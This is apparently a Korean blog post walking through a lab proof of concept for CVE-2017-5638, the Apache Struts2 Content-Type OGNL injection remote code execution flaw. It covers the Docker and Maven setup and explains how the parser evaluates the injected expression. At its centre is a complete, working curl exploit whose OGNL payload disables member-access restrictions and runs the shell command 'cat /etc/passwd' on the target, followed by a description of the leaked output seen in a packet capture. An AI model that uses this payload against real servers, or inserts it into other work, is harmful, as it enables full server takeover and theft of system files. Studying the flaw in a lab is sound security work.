카테고리 없음

CVE-2017-5638 (Apache Structs2 RCE.H)

from-alien 2025. 6. 18. 17:46
항목내용
Apache Struts2 RCE.H (CVE-2017-5638)영향 받는 소프트웨어 Apache Struts 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.10
취약한 구성요소Jakarta Multipart Parser (Content-Type 헤더 처리 방식)
공격 유형RCE (Remote Code Execution, 원격 코드 실행)
공격 조건Struts2에서 파일 업로드 기능(Jakarta parser)을 사용하는 경우
공격 방법Content-Type 헤더에 OGNL 표현식 삽입하여 서버 측 코드 실행
예시 패킷Content-Type: %{(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X','V'))}.multipart/form-data
공격 결과원격 명령 실행, 시스템 제어, 백도어 설치 등
공식 패치2.3.32 / 2.5.10.1 버전에서 취약점 제거
CVSS10.0/10.0 (최고 위험도)

 
 
PoC 환경구축
 

구분 내용
실행 환경 윈도우/Powershell/Docker DeskTop/WSL 기반
ATTACKER IP / VICTIM IP 구분하여 공격 실행
공격 METHODcmd : curl 명령을 사용하여 content type header에 페이로드 삽입
사용한 이미지 structs2-vuln
취약점 대상 Apache Structs2(업로드 기능 있는 .action)
포트 포워딩 Local에서 8081 -> 컨테이너 실행

 
 
 
 

환경구축을 할 때 해당 war exploit.war 파일을 생성을 하였다.

 

또한 위 그림 처럼 jdk를 다운 받고 환경 변수 편집을 해줘야 한다.

 
 
 

mvn dependency:get -Dartifact=org.apache.struts:struts2-showcase:2.3.12:war -Ddest=./struts2-vuln.war

 
나는 도커 이미지를 다운 받고 취약한 apache sturcts 서버가 정상 작동하지 않아서 수동으로 maven 공식 사이트에서 다운을 받았다. 혹시 환경 구성을 하는데 잘되지 않는다면 수동으로 다운 받아서 해보기를 권장한다.
 
 
 
 
해당 공격을 수행하기 위한 curl 명령어 요약
 

curl -v -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).\
(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').\
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).\
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).\
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).\
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
http://<ip>:8081/exploit/fileupload/upload.action -d "test=test"

 
 
 
Content-Type 헤더에 삽입하면 실행원리
 
Struts2와 OGNL

  • Apache Struts2는 자바 기반 웹 프레임워크로, OGNL (Object Graph Navigation Language)이라는 표현식을 이용해 내부 변수나 객체에 접근 가능.
  • 특정 버전에서는 잘못된 요청 처리 과정에서 헤더 값에 포함된 OGNL 표현식을 실행하게 되는 취약한 구조가 있었음.

 
취약점 발생 위치

  • Struts2의 MultiPartRequestWrapper 클래스는 Content-Type 헤더가 multipart/form-data일 때 이를 파싱하며, 이 과정에서 OGNL 표현식을 코드로 해석하는 취약점이 존재함.
  • 즉, Content-Type 헤더 안에 악의적인 OGNL 표현식이 포함되면, 이를 Java 코드로 평가하여 실행하게 됨.

실행 흐름

  • 서버는 Content-Type: multipart/form-data 를 처리하기 위해 내부적으로 OGNL 표현식을 파싱
  • 이때 삽입한 OGNL 페이로드그대로 실행됨
  • 예시 페이로드는 시스템 명령어 cat /etc/passwd 를 실행시키는 코드
  • 실행 결과가 웹 응답으로 전송되어 공격자에게 전달됨

 
 
 

해당 cat /etc/passwd 명령어를 삽입을 해서 http post 요청을 하여 공격 PoC를 진행
curl 명령어로 content type http 헤더에 해당 cat 명령어 구문을 삽입을 해서 서버로 주입을 한 결과 이렇게 서버의 파일 구조가 유출이 되는 것을 확인

 

예시)해당 공격을 attacker pc x.x.?.69 ip에서 curl 명령어를 실행한 결과 피해자 x.x.?.64pc에서 패킷 캡처를 한 PoC 예제

 
위 공격자 Pc는 통신을 위해서 3 way handshake를 통해서 통신 규약을 맺고 curl 명령어로 post 요청을 한뒤 Content-Type 헤더에 ognl 표현식을 악의적으로 사용하여 post요청을 하여 upload-action을 한 내용을 패킷 캡처를 통해서 알 수 있었다.
 

공격자는 wireshark에서 해당 서버의 파일 구조를 curl 명령어로 파일의 구조 정보를 탈취 할 수 있는 것을 PoC를 통해서 알수 있었다.